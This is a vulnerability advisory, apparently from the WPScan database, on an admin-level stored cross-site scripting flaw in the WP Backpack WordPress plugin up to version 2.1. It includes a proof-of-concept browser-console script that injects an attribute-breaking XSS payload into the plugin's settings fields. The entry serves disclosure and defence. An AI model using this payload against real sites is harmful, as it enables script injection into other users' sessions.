Lucene search

K
wpvulndbBob MatyasWPVDB-ID:CE4688B6-6713-43B5-AA63-8A3B036BD332
HistoryMay 17, 2024 - 12:00 a.m.

WP Backpack <= 2.1 - Admin+ Stored XSS

2024-05-1700:00:00
Bob Matyas
wpscan.com
3
wordpress
stored xss
plugin vulnerability
unsanitized settings
admin privileges
cross-site scripting

AI Score

4.9

Confidence

High

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)

PoC

1. Go to https://example.com/wp-admin/admin.php?page=optik 2. In the browser console, run the code: let inputs = document.querySelectorAll( '#wpbody-content input[type="text"]' ); inputs.forEach( (element) =&gt; element.value=`" style=animation-name:rotation onanimationstart=alert(/XSS: ${element.name}/)//` );let textareas = document.querySelectorAll( '#wpbody-content textarea' ); textareas.forEach( (element) =&gt; element.value=`` ); 3. Save the settings 4. Reload the page and see multiple XSS alerts

AI Score

4.9

Confidence

High

Related for WPVDB-ID:CE4688B6-6713-43B5-AA63-8A3B036BD332